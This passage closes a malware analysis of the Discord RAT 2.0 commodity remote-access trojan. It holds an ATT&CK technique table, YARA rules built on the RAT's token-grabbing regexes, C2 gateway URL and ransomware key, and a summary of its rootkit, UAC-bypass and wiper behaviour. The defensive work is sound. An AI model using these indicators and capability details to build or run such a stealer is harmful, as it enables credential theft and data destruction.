| Scheduled Task | T1053.005 | Persistence |
| Bypass User Account Control | T1548.002 | Privilege Escalation |
| Disable or Modify Tools | T1562.001 | Defense Evasion |
| Disable or Modify System Firewall | T1562.004 | Defense Evasion |
| Reflective Code Loading | T1620 | Defense Evasion |
| Process Injection (RunPE into dllhost.exe) | T1055.012 | Defense Evasion |
| Parent PID Spoofing | T1134.004 | Defense Evasion |
| Screen Capture | T1113 | Collection |
| Clipboard Data | T1115 | Collection |
| Video Capture | T1125 | Collection |
| Steal Web Session Cookie | T1539 | Credential Access |
| Steal Application Access Token | T1528 | Credential Access |
| Credentials from Password Stores | T1555 | Credential Access |
| Credentials in Registry (Roblox cookie) | T1552.002 | Credential Access |
| Web Service (Discord) | T1102 | Command and Control |
| Application Layer Protocol: Web | T1071.001 | Command and Control |
| Exfiltration Over C2 Channel | T1041 | Exfiltration |
| Exfiltration Over Web Service | T1567 | Exfiltration |
| Windows Command Shell | T1059.003 | Execution |
| Native API | T1106 | Execution |
| Data Destruction | T1485 | Impact |
| Data Encrypted for Impact | T1486 | Impact |
| System Shutdown/Reboot | T1529 | Impact |
| Internal Defacement (wallpaper) | T1491.001 | Impact |
YARA Rules
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
import "pe"
import "dotnet"
rule DiscordRAT2_Generic {
meta:
author = "Tao Goldi"
version = 1
description = "Detects Discord RAT 2.0 (moom825), Discord-gateway C2 RAT written in C#"
reference = "https://github.com/moom825/Discord-RAT-2.0"
hash = "18c79efc9dea7a878ddf0071cd76313afa342855df5c709c6f18883599bc64b9"
strings:
$ws_url = "wss://gateway.discord.gg/?v=9&encording=json" ascii wide
$wannacry = ".WANNACRY" ascii wide
$ransom_key = "HAIROAHSJURNCBYE" ascii wide
$reg_root = "SOFTWARE\\$77config" ascii wide
$gh_base = "moom825/Discord-RAT-2.0/master/Discord%20rat/Resources/" ascii wide
$cmd_ransom = "!ransomware" ascii wide
$cmd_blue = "!bluescreen" ascii wide
$cmd_roblox = "!robloxcookie" ascii wide
$cmd_crit = "!critproc" ascii wide
$cmd_grab = "!grabtokens" ascii wide
$ns = "Discord_rat" ascii wide
condition:
pe.is_pe and dotnet.is_dotnet
and (
($ws_url and $wannacry)
or ($ransom_key and $reg_root)
or ($ns and $gh_base)
or (5 of ($cmd_*))
)
}
rule DiscordRAT2_Module_Rootkit_Stager {
meta:
author = "Tao Goldi"
version = 1
description = "Detects the .NET rootkit/unrootkit stager modules shipped with Discord RAT 2.0 that deploy r77-rootkit via process hollowing"
reference = "https://github.com/bytecode77/r77-rootkit"
strings:
$ns = "InstallStager.Properties" ascii wide
$dllhost32 = "C:\\Windows\\SysWOW64\\dllhost.exe" ascii wide
$dllhost64 = "C:\\Windows\\System32\\dllhost.exe" ascii wide
$procid_arg = "/Processid:" ascii wide
$winlogon = "winlogon" ascii wide
$unhook = "UnhookDll" ascii wide
$svc32 = "InstallService32" ascii wide
$svc64 = "InstallService64" ascii wide
$un32 = "Uninstall32" ascii wide
$un64 = "Uninstall64" ascii wide
condition:
pe.is_pe and dotnet.is_dotnet
and $ns and $unhook
and ($dllhost32 or $dllhost64) and $procid_arg and $winlogon
and (($svc32 and $svc64) or ($un32 and $un64))
}
rule DiscordRAT2_Module_r77_Payload {
meta:
author = "Tao Goldi"
version = 1
description = "Detects r77-rootkit payloads extracted from rootkit.dll / unrootkit.dll"
strings:
$pdb_release = "r77-rootkit\\vs\\" ascii wide nocase
$pdb_maxim = "C:\\Users\\maxim\\Desktop\\project windows + android\\rootkit\\r77-rootkit-master" ascii wide nocase
$r77_dll_x86 = "r77-x86.dll" ascii wide nocase
$r77_dll_x64 = "r77-x64.dll" ascii wide nocase
$r77_counter = "r77ProcessCount" ascii wide
condition:
pe.is_pe
and (
$pdb_release or $pdb_maxim
or $r77_dll_x86 or $r77_dll_x64
or $r77_counter
)
}
rule DiscordRAT2_Module_TokenGrabber {
meta:
author = "Tao Goldi"
version = 1
description = "Detects the Token grabber.dll module, a Discord token harvester targeting 22 browsers with AES-GCM decryption"
strings:
$ns = "Token_grabber" ascii wide
$api_me = "https://discord.com/api/v9/users/@me" ascii wide
$rx_std = "[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27}" ascii wide
$rx_mfa = "mfa\\.[\\w-]{84}" ascii wide
$rick = "dQw4w9WgXcQ:" ascii wide
$b64_disc = "XFJvYW1pbmdcZGlzY29yZA==" ascii wide
$b64_app = "XEFwcERhdGE=" ascii wide
$b64_lvldb = "XExvY2FsIFN0b3JhZ2VcbGV2ZWxkYg==" ascii wide
condition:
pe.is_pe and dotnet.is_dotnet
and $ns and ($api_me or $rick)
and (($rx_std and $rx_mfa) or ($b64_disc and $b64_app and $b64_lvldb))
}
rule DiscordRAT2_Module_PasswordStealer_BlackNET {
meta:
author = "Tao Goldi"
version = 1
description = "Detects the BlackNET-derived PasswordStealer.dll module shipped by Discord RAT 2.0"
strings:
$cp = "Black.Hacker - 2021" ascii wide
$desc = "BlackNET Password Stealer Plugin" ascii wide
$company = "DarkSoftwareCo" ascii wide
$ns = "PasswordStealer.ChromeRecovery" ascii wide
$guid = "983ae28c-91c3-4072-8cdf-698b2ff7a967" ascii wide nocase
condition:
pe.is_pe and dotnet.is_dotnet
and (($cp and $desc) or ($ns and $company) or $guid)
}
rule DiscordRAT2_FakeRansomware {
meta:
author = "Tao Goldi"
version = 1
description = "Detects the broken ransomware module in Discord RAT 2.0"
strings:
$ext = ".WANNACRY" ascii wide
$key = "HAIROAHSJURNCBYE" ascii wide
$ns = "Discord_rat" ascii wide
$rpc = "RansomPc" ascii wide
condition:
pe.is_pe and dotnet.is_dotnet
and $ext and $key and ($ns or $rpc)
}
Conclusion
Discord RAT 2.0 is a commodity crimeware tool released publicly on GitHub in August 2022 and still in heavy circulation in 2026. It has no single attributed operator: every sample carries a different Discord bot token and guild ID baked in, and each one maps to a separate operator setting up their own command infrastructure. For the sample analyzed here, snowflake decoding reveals an operator who stood up their Discord server and bot account within five minutes of each other on 2 March 2023, rotated the token in October 2024, and had their infrastructure taken down before the sample reached the feed. Both the token and the guild return dead responses from the Discord API. The telemetry window on this specific operator is closed, but the binary is still a perfect reference specimen for writing detections that will match the next operator’s build.
The deepest finding comes from pulling the five modules off the public GitHub repo. rootkit.dll and unrootkit.dll are not moom825’s code at all. They are the InstallStager project from bytecode77’s r77-rootkit, lifted wholesale and wrapped in an Assembly.Load() call. PasswordStealer.dll is the credential-theft plugin from the BlackNET malware-as-a-service family, with its author attribution (Black.Hacker, 2021) still embedded in the assembly metadata. The native Install payloads carry PDB paths showing they were built on bytecode77’s own drive; the Uninstall payloads were rebuilt in debug mode by a separate operator maxim who left a Windows profile name and a “project windows + android” folder in every binary that calls the !unrootkit command.
The sample carries all the classic hallmarks of the family: 50 !-prefixed Discord commands, a five-module remote DLL loader pointing at moom825/Discord-RAT-2.0 on GitHub, registry persistence keyed with the $77 prefix, a UAC bypass via SilentCleanup, Defender/Firewall disablers, and the notorious “ransomware” module that is actually a wiper thanks to a for (i = 0; i < 1; i++) loop that encrypts exactly one byte per file before deleting the original. Files renamed to .WANNACRY cannot be recovered from the ciphertext, because the ciphertext is one byte long.
Detection is robust because the author’s stylistic fingerprints are everywhere. The encording=json typo in the gateway URL is present in the upstream source and reproduced in every build. The hardcoded Rijndael key HAIROAHSJURNCBYE (which doubles as the IV), the $77config registry hive for the rootkit module, the .WANNACRY extension, the dQw4w9WgXcQ: Discord token prefix, and the r77ProcessCount string in the rootkit payloads together make the YARA rules above effectively zero-false-positive. Combined with the five-module GitHub URL base (moom825/Discord-RAT-2.0/master/Discord%20rat/Resources/), any one of these strings on its own is a reliable family marker.
Defenders should treat this family less as a discrete threat and more as a delivery symptom: if a host beacons to gateway.discord.gg from a non-Discord-client process and a stub drops into HKCU\...\Run with a $77 prefix, the bigger question is the dropper wrapper (cracked software, npm supply-chain poisoning, or a Discord social-engineering lure) that brought the stub in. The stub is easy to catch; the delivery chain is the interesting bit.

